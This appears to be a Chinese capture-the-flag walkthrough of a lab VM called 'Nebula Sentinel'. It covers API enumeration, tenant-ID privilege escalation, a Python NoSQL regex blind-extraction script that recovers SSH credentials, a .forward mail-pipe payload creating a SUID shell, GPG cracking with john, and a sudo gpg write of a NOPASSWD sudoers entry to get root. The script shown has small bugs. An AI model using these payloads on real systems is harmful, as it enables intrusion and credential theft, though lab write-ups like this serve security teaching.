

端口扫描

```
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
5000/tcp  open  upnp
```

80端口

The screenshot shows the Nebula Sentinel web interface at <http://192.168.56.120>. The title bar says "Nebula Sentinel - 企业密钥管理平台". The main page is titled "Nebula Sentinel" and "企业级多租户安全密钥管理系统 v2.5.1". A section titled "系统密钥存储概览" displays a table of registered keys:

所属租户	密钥名称	业务描述
system	secure_vault_key	平台核心主加密密钥，用于内部服务间敏感数据加密、签名验证及安全会话保护。属于最高机密等级，仅系统管理员可访问。
finance	finance_payment_gateway	财务部门专用的第三方支付网关接入密钥，用于线上收款、退款及对账等高价值金融交易流程。
finance	tax_calculation_secret	税务计算服务专用密钥，确保税率计算、电子发票生成及税务申报的完整性与合规性。
hr	payroll_api_token	人力资源薪资系统对接令牌，用于安全传输员工薪资、社保、公积金及个人所得税等敏感信息。

给了一些密钥名称，暂时不知道什么用。

看5000端口

5000

The screenshot shows the Nebula Sentinel Internal API Service at <http://192.168.56.120:5000>. The title bar says "Nebula Sentinel Internal API Service". The page version is "Version: 2.5.1 (Production)". It includes a welcome message and documentation links:

Welcome to Nebula Sentinel Enterprise Security Platform.
This endpoint provides RESTful API services only.
No web interface is available.
Documentation: Internal only (Confluence: NS-API-DOCS-v2.5)
Support: security-ops@nebula-sentinel.corp

© 2025 Nebula Sentinel Corporation. All rights reserved.

nebula api接口，没找到接口文档，只能爆破接口了。源码提示 </api/v1> 扫一下，得到一个 </api/v1/login>

```

Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:                      http://192.168.56.120:5000/api/v1
[+] Method:                   GET
[+] Threads:                  10
[+] Wordlist:                 /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:               gobuster/3.8
[+] Extensions:              zip,html,txt,php,bak
[+] Timeout:                  10s
=====
Starting gobuster in directory enumeration mode
=====
/login          (Status: 405) [Size: 153]

```

Request

```

1 POST ./api/v1/login HTTP/1.1
2 Host : 192.168.56.120:5000
3 Accept: text/html,application/json,application/xml;q=0.9,*/*;q=0.8
4 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 Accept-Encoding: gzip,deflate
6 Upgrade-Insecure-Requests: 1
7 Priority: u=0,i
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64; rv:140.0) Gecko/20100101 Firefox/140.0
9 Content-Type: application/json
10
11 {
12     "username": "admin",
13     "password": "123456"
14 }

```

32bytes / 78ms

```

1 HTTP/1.1 401 UNAUTHORIZED
2 Server: Werkzeug/3.1.4 Python/3.9.2
3 Date: Tue, 20 Jan 2026 05:00:37 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 35
10
11 {"error": "Invalid credentials"}
12

```

没爆破出来密码。

换成v2的时候又出来几个接口

405	GET	5l	20w	153c	http://192.168.56.120:5000/api/v2/login
405	GET	5l	20w	153c	http://192.168.56.120:5000/api/v2/stats
405	GET	5l	20w	153c	http://192.168.56.120:5000/api/v2/users
200	GET	1l	1w	80c	http://192.168.56.120:5000/api/v2/health
405	GET	5l	20w	153c	http://192.168.56.120:5000/api/v2/vault
405	GET	5l	20w	153c	http://192.168.56.120:5000/api/v2/tenants

但是除了health都是需要鉴权，对这几个接口递归扫，发现 `/users/list`

404	GET	5l	31w	207c	Auto-filtering found 404-like response and created a new filter; toggle off with --dont-filter
405	GET	5l	20w	153c	http://192.168.56.120:5000/api/v2/users/list
[>-----]	- 4s	878/220546	21m	found:1	errors:126
[>-----]	- 4s	870/220546	221/s	http://192.168.56.120:5000/api/v2/users/	

405	GET	5l	20w	153c	http://192.168.56.120:5000/api/v2/vault
405	GET	5l	20w	153c	http://192.168.56.120:5000/api/v2/vault/query

`/api/v2/users/list` 可以看到一些用户信息

Request

```

1 POST ./api/v2/users/list HTTP/1.1
2 Host : 192.168.56.120:5000
3 Accept : text/html,application/json,application/xml;q=0.9,*/*;q=0.8
4 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 Accept-Encoding: gzip,deflate
6 Upgrade-Insecure-Requests: 1
7 Priority: u=0,i
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
9 Content-Type: application/json
10
11

```

469bytes / 11ms

```

1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4 Python/3.9.2
3 Date: Tue, 20 Jan 2026 05:11:18 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: Nebulasentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 691
10
11 {
12     "count": 5,
13     "users": [
14         {
15             "access_level": "admin",
16             "department": "IT Security",
17             "tenant_id": "system",
18             "username": "admin"
19         },
20         {
21             "access_level": "manager",
22             "department": "Finance",
23             "tenant_id": "finance",
24             "username": "jdoe"
25         },
26         {
27             "access_level": "user",
28             "department": "Human Resources",
29             "tenant_id": "hr",
30             "username": "asmith"
31         },
32         {
33             "access_level": "user",
34             "department": "DevOps",
35             "tenant_id": "engineering",
36             "username": "mlee"
37         }

```

```
{
  "count": 5,
  "users": [
    {
      "access_level": "admin",
      "department": "IT Security",
      "tenant_id": "system",
      "username": "admin"
    },
    {
      "access_level": "manager",
      "department": "Finance",
      "tenant_id": "finance",
      "username": "jdoe"
    },
    {
      "access_level": "user",
      "department": "Human Resources",
      "tenant_id": "hr",
      "username": "asmith"
    },
    {
      "access_level": "user",
      "department": "DevOps",
      "tenant_id": "engineering",
      "username": "mlee"
    },
    {
      "access_level": "guest",
      "department": null,
      "tenant_id": "public",
      "username": "guest"
    }
  ]
}
```

```

    }
]

}

```

尝试登录guest，猜测密码是guest

Request

```

1 POST ./api/v2/login HTTP/1.1
2 Host ?: 192.168.56.120:5000
3 Accept: text/html,application/json,application/xml;q=0.9,*/*;q=0.8
4 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 Accept-Encoding: gzip, deflate
6 Upgrade-Insecure-Requests: 1
7 Priority: 0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
9 Content-Type: application/json
10
11 {
12     "username": "guest",
13     "password": "guest"
14 }

```

Response

```

168bytes / 3ms
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 20 Jan 2026 06:59:26 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 189
10
11 {
12     "access_level": "guest",
13     "department": null,
14     "message": "Login successful",
15     "tenant_id": "public",
16     "token": "81ae9bbeeb7fiae14017ab561afe24cfed070c3f02ea803a32ca6b8948fa6477"
17 }
18

```

先用guest看一些那些鉴权接口，看看有什么功能点

Request

```

1 POST ./api/v2/users HTTP/1.1
2 Host ?: 192.168.56.120:5000
3 Content-Type: application/json
4 Authorization: Bearer
81ae9bbeeb7fiae14017ab561afe24cfed070c3f02ea803a32ca6b8948fa6477
5 Content-Length auto: 29
6
7 {
8 }
9

```

Response

```

1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 20 Jan 2026 07:00:23 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 133
10
11 {
12     "count": 1,
13     "tenant_id": "public",
14     "users": [
15         {
16             "access_level": "guest",
17             "department": null,
18             "username": "guest"
19         }
20     ]
21 }
22

```

Request

```

1 POST ./api/v2/tenants HTTP/1.1
2 Host ?: 192.168.56.120:5000
3 Content-Type: application/json
4 Authorization: Bearer
81ae9bbeeb7fiae14017ab561afe24cfed070c3f02ea803a32ca6b8948fa6477
5 Content-Length auto: 29
6
7 {
8 }
9

```

Response

```

61bytes / 2ms
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 20 Jan 2026 07:01:06 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 68
10
11 {
12     "tenants": [
13         "engineering",
14         "finance",
15         "hr",
16         "public",
17         "system"
18     ]
19 }
20

```

Request

```

1 POST ./api/v2/vault HTTP/1.1
2 Host ?: 192.168.56.120:5000
3 Content-Type: application/json
4 Authorization: Bearer
81ae9bbeeb7fiae14017ab561afe24cfed070c3f02ea803a32ca6b8948fa6477
5 Content-Length auto: 29
6
7 {
8 }
9

```

Response

```

31bytes / 3ms
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 20 Jan 2026 07:01:23 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 36
10
11 {
12     "count": 0,
13     "vault_entries": []
14 }
15

```

```

1 POST /api/v2/stats·HTTP/1.1
2 Host ?: 192.168.56.120:5000
3 Content-Type: application/json
4 Authorization: Bearer
81ae9bbeeb7f1ae14017ab561afe24cfed070c3f02ea803a32ca6b8948fa6477
5 Content-Length auto : 29
6
7 {
8 }

```

Response (61bytes / 3ms):

```

1 HTTP/1.1 200·OK
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 20-Jan-2026 07:01:36 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 68
10 {"access_level": "guest", "tenant_id": "public", "user_count": -1}
11
12

```

测试 /api/v2/vault/query

```

1 POST /api/v2/vault/query·HTTP/1.1
2 Host ?: 192.168.56.120:5000
3 Content-Type: application/json
4 Authorization: Bearer
81ae9bbeeb7f1ae14017ab561afe24cfed070c3f02ea803a32ca6b8948fa6477
5 Content-Length auto : 29
6
7 {
8   |...."key": "secure_vault_key",
9   |...."value": "123"
10 }

```

Response (82bytes / 2ms):

```

1 HTTP/1.1 400·BAD REQUEST
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 20-Jan-2026 07:02:10 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 91
10
11 {
12   |...."error": "Invalid value format",
13   |...."hint": "value must be: (\\"$regex\\": \\"pattern\\")"
14 }
15

```

需要使用正则查询

然后测试 /api/v2/vault/query 发现需要提供key，使用80端口的key测试发现结果都是0

```

1 POST /api/v2/vault/query·HTTP/1.1
2 Host ?: 192.168.56.120:5000
3 Content-Type: application/json
4 Authorization: Bearer
81ae9bbeeb7f1ae14017ab561afe24cfed070c3f02ea803a32ca6b8948fa6477
5 Content-Length auto : 29
6
7 {
8   |...."key": "secure_vault_key",
9   |...."value": {
10     |....|$regex": "*"
11   }
12 }

```

Response (18bytes / 2ms):

```

1 HTTP/1.1 200·OK
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 20-Jan-2026 07:02:51 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 21
10
11 {"match_count": 0}
12

```

应该是权限太低，想办法提权，鉴别身份的是 tenant_id，尝试post提交发现可以修改权限

```

1 POST /api/v2/users·HTTP/1.1
2 Host ?: 192.168.56.120:5000
3 Content-Type: application/json
4 Authorization: Bearer
81ae9bbeeb7f1ae14017ab561afe24cfed070c3f02ea803a32ca6b8948fa6477
5 Content-Length auto : 29
6
7 {
8   |...."tenant_id": "system"
9 }

```

Response (114bytes / 3ms):

```

1 HTTP/1.1 200·OK
2 Server: Werkzeug/3.1.4-Python/3.9.2
3 Date: Tue, 20-Jan-2026 07:03:46 GMT
4 Content-Type: application/json
5 X-Sentinel-Debug: None
6 Server: NebulaSentinel/2.5.1
7 X-Content-Type-Options: nosniff
8 Connection: close
9 Content-Length: 164
10
11 {
12   |...."count": 1,
13   |...."tenant_id": "system",
14   |...."users": [
15     |....{
16       |...."access_level": "admin",
17       |...."department": "IT Security",
18       |...."username": "admin"
19     |....}
20   |....]
21 }
22

```

发现响应已经变成了system权限，然后在 /api/v2/vault/query 接口利用



要求使用正则查询，可以使用[^]来不断爆破，让ai写个脚本爆破一下

```
import requests
import string

TARGET_URL = "http://192.168.56.120:5000/api/v2/vault/query"
TOKEN = "81ae9bbeb7f1ae14017ab561afe24cfed070c3f02ea803a32ca6b8948fa6477"
KEY_NAME = "secure_vault_key"
headers = {
    "Authorization": f"Bearer {TOKEN}",
    "Content-Type": "application/json"
}
charset = string.ascii_letters + string.digits + "{}_-!@?!"
extracted_value = ""
while True:
    found_char = False
    for char in charset:
        if char in "?*+.()[]^$|\\\"":
            pattern = f"^{requests.utils.quote(extracted_value + char)}"
            test_regex = f"^{extracted_value}{re.escape(char)}"
        else:
            test_regex = f"^{extracted_value}{char}"
        payload = {
            "key": KEY_NAME,
            "value": {
                "$regex": test_regex
            }
        }
        try:
            r = requests.post(TARGET_URL, json=payload, headers=headers)
            if r.status_code == 200 and r.json().get("match_count") == 1:
                extracted_value += char
                print(f"[+] 发现字符: {char} | 当前结果: {extracted_value}")
                found_char = True
                break
        except Exception as e:
            print(f"[-] 请求错误: {e}")
    if found_char:
        break
```

```
break

if not found_char:
    print(f"[*] 爆破结束 (或遇到不支持的字符)。最终结果: {extracted_value}")
    break
```

```
PS C:\Users\xt\Desktop> python 2.py
[+] 发现字符: b | 当前结果: b
[+] 发现字符: m | 当前结果: bm
[+] 发现字符: V | 当前结果: bmV
[+] 发现字符: i | 当前结果: bmVi
[+] 发现字符: d | 当前结果: bmVid
[+] 发现字符: W | 当前结果: bmVidW
[+] 发现字符: x | 当前结果: bmVidWx
[+] 发现字符: h | 当前结果: bmVidWxh
[+] 发现字符: o | 当前结果: bmVidWxhO
[+] 发现字符: k | 当前结果: bmVidWxhOk
[+] 发现字符: 4 | 当前结果: bmVidWxhOk4
[+] 发现字符: z | 当前结果: bmVidWxhOk4z
[+] 发现字符: Y | 当前结果: bmVidWxhOk4zY
[+] 发现字符: n | 当前结果: bmVidWxhOk4zYn
[+] 发现字符: V | 当前结果: bmVidWxhOk4zYnV
[+] 发现字符: s | 当前结果: bmVidWxhOk4zYnVs
[+] 发现字符: Q | 当前结果: bmVidWxhOk4zYnVsQ
[+] 发现字符: E | 当前结果: bmVidWxhOk4zYnVsQE
[+] 发现字符: F | 当前结果: bmVidWxhOk4zYnVsQEF
[+] 发现字符: k | 当前结果: bmVidWxhOk4zYnVsQEFk
[+] 发现字符: b | 当前结果: bmVidWxhOk4zYnVsQEFkb
[+] 发现字符: T | 当前结果: bmVidWxhOk4zYnVsQEFkbT
[+] 发现字符: F | 当前结果: bmVidWxhOk4zYnVsQEFkbTF
[+] 发现字符: u | 当前结果: bmVidWxhOk4zYnVsQEFkbTFu
[+] 发现字符: M | 当前结果: bmVidWxhOk4zYnVsQEFkbTFuM
[+] 发现字符: j | 当前结果: bmVidWxhOk4zYnVsQEFkbTFuMj
[+] 发现字符: A | 当前结果: bmVidWxhOk4zYnVsQEFkbTFuMjA
[+] 发现字符: y | 当前结果: bmVidWxhOk4zYnVsQEFkbTFuMjAy
[+] 发现字符: N | 当前结果: bmVidWxhOk4zYnVsQEFkbTFuMjAyN
[+] 发现字符: S | 当前结果: bmVidWxhOk4zYnVsQEFkbTFuMjAyNS
[+] 发现字符: E | 当前结果: bmVidWxhOk4zYnVsQEFkbTFuMjAyNSE
```

bmVidWxhOk4zYnVsQEFkbTFuMjAyNSE

清空

加密

解密

解密为 **UTF-8字符** ▾

nebula:N3bul@Adm1n2025!

拿到一个组账号密码，直接ssh

```
nebula@nebula:~$ id  
uid=1000(nebula) gid=1000(nebula) groups=1000(nebula)  
nebula@nebula:~$
```

.forward

```
nebula@nebula:~$ cat notes.txt  
To: All Employees  
From: IT Security Department  
Subject: Mandatory Secure Password Storage  
To uphold the company's data security posture and comply with global information protection standards, all employees are required to adopt secure, encrypted password management practices for all work-related credentials (including SSH keys, system access passwords, license keys, and internal tool credentials).  
nebula@nebula:~$ cd .password-store/  
nebula@nebula:~/./password-store$ ls  
hint.gpg  
nebula@nebula:~/./password-store$ ls -al  
total 16  
drwx----- 2 nebula nebula 4096 Dec 29 08:48 .  
drwxr-xr-x 4 nebula nebula 4096 Dec 30 08:37 ..  
-rw----- 1 nebula nebula 29 Dec 29 08:48 .gpg-id  
-rw----- 1 nebula nebula 330 Dec 29 08:48 hint.gpg
```

解密一下这个hint.gpg

```
nebula@nebula:~/./password-store$ gpg -d hint.gpg  
gpg: encrypted with 2048-bit RSA key, ID 19AE4E5DC518EDBC, created 2025-12-29  
      "Nebula User <nebula@nebula-sentinel.local>"  
postfix
```

结果是 postfix, 提示看邮件?

```
nebula@nebula:/var/mail$ cat root  
cat: root: Permission denied  
nebula@nebula:/var/mail$ ls  
root  
nebula@nebula:/var/mail$ ls -al  
total 52  
drwxrwsr-x 2 root mail 4096 Dec 29 09:27 .  
drwxr-xr-x 12 root root 4096 Apr 1 2025 ..  
-rw----- 1 root mail 38606 Dec 29 09:27 root  
nebula@nebula:/var/mail$ cd /var/spool/mail  
nebula@nebula:/var/spool/mail$ ls  
root  
nebula@nebula:/var/spool/mail$ cat root  
cat: root: Permission denied  
nebula@nebula:/var/spool/mail$ ls -al  
total 52  
drwxrwsr-x 2 root mail 4096 Dec 29 09:27 .  
drwxr-xr-x 12 root root 4096 Apr 1 2025 ..  
-rw----- 1 root mail 38606 Dec 29 09:27 root  
nebula@nebula:/var/spool/mail$
```

没什么用，看/opt下面的脚本

```
nebula@nebula:/opt/vault-maintenance$ cat backup.sh  
#!/bin/bash  
  
SHARED_DIR="/var/lib/nebula-sentinel/shared"  
USERS_HOME="/home"
```

```

find "$SHARED_DIR" -maxdepth 1 -type f -print0 | while IFS= read -r -d ''
file; do
    filename=$(basename "$file")
    for user_dir in ${USERS_HOME}/*; do
        [ -d "$user_dir" ] || continue
        username=$(basename "$user_dir")
        if id "$username" &>/dev/null; then
            target="${user_dir}/${filename}"
            cp -p "$file" "$target" 2>/dev/null
            chown "$username":$username "$target" 2>/dev/null
            chmod 644 "$target" 2>/dev/null
        fi
    done
done

echo "Vault shared files synced at $(date)" >> /var/log/vault-sync.log

```

它会扫描 `/var/lib/nebula-sentinel/shared` 下的每一个文件复制到 `/home` 下每个家目录里面，类似那个 `note.txt`，每个人都能收到

```

nebula@nebula:/var/lib/nebula-sentinel/shared$ cd /var/lib/nebula-
sentinel/shared
nebula@nebula:/var/lib/nebula-sentinel/shared$ ls -al
total 12
drwxrwxrwx 2 root root 4096 Dec 30 08:37 .
drwxr-xr-x 3 root root 4096 Dec 29 09:26 ..
-rw-r--r-- 1 root root 404 Dec 30 08:37 notes.txt

```

有写权限，那么可以直接写入任意文件到 `/home/simho`，这里利用 `.forward` 文件进行邮件转发攻击

在 Linux (Postfix/Sendmail) 中，用户可以在自己的家目录下创建一个名为 `.forward` 的文件。这个文件通常用来转发邮件，但它有一个强大的功能：它可以把收到的邮件通过管道 (`|`) 交给一个脚本执行。

先创建个 bash

```

# 创建脚本
cat <<EOF > /tmp/pwn_simho.sh
#!/bin/bash
cp /bin/bash /tmp/simho_root
chmod 4777 /tmp/simho_root
EOF

```

```
chmod 777 /tmp/pwn_simho.sh
```

然后写.forward文件

```
cd /var/lib/nebula-sentinel/shared  
echo "|/tmp/pwn_simho.sh" > .forward
```

然后发个邮件给simho触发

```
echo "123" | mail -s "Pwn" simho@localhost
```

```
nebula@nebula:/var/lib/nebula-sentinel/shared$ ls -l /tmp/simho_root  
-rwsrwxrwx 1 simho simho 1168776 Jan 20 01:00 /tmp/simho_root  
nebula@nebula:/var/lib/nebula-sentinel/shared$ /tmp/simho_root -p  
simho_root-5.0$ id  
uid=1000(nebula) gid=1000(nebula) euid=1001(simho) groups=1000(nebula)
```

然后爆破一下gpg

```
tao@kali [/tmp] → gpg2john pass.gpg > aaa  
File pass.gpg  
tao@kali [/tmp] → john aaa --wordlist=/usr/share/wordlists/rockyou.txt  
Using default input encoding: UTF-8  
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])  
Warning: invalid UTF-8 seen reading ~/.john/john.pot  
Cost 1 (s2k-count) is 65011712 for all loaded hashes  
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512  
11:SHA224]) is 2 for all loaded hashes  
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192  
9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for  
all loaded hashes  
Will run 2 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
hellohello (?)  
1g 0:00:02:18 DONE (2026-01-20 14:13) 0.007220g/s 35.94p/s 35.94c/s 35.94C/s  
ichliebedich..hellohello  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed.
```

密码是 hellohello

```
simho_root-5.0$ gpg -d .pass.gpg
gpg: WARNING: unsafe ownership on homedir '/home/simho/.gnupg'
gpg: keybox '/home/simho/.gnupg/pubring.kbx' created
gpg: AES256.CFB encrypted data
gpg: encrypted with 1 passphrase
s1mh0!@#
```

gpg

```
Matching Defaults entries for simho on nebula:
  env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User simho may run the following commands on nebula:
(ALL) PASSWD: /usr/bin/gpg
```

加密然后解密到指定地方就可以实现任意文件写

```
$ echo "simho ALL=(ALL) NOPASSWD: ALL" > /tmp/pwn
$ gpg -c /tmp/pwn
$ sudo /usr/bin/gpg -o /etc/sudoers.d/pwn -d /tmp/pwn.gpg
```

```
simho@nebula:~$ sudo su root
root@nebula:/home/simho# id
uid=0(root) gid=0(root) groups=0(root)
root@nebula:/home/simho# |
```

```
root@nebula:~# cat root.txt
flag{root-bfbed086118248f84854dddd7766eab0}
```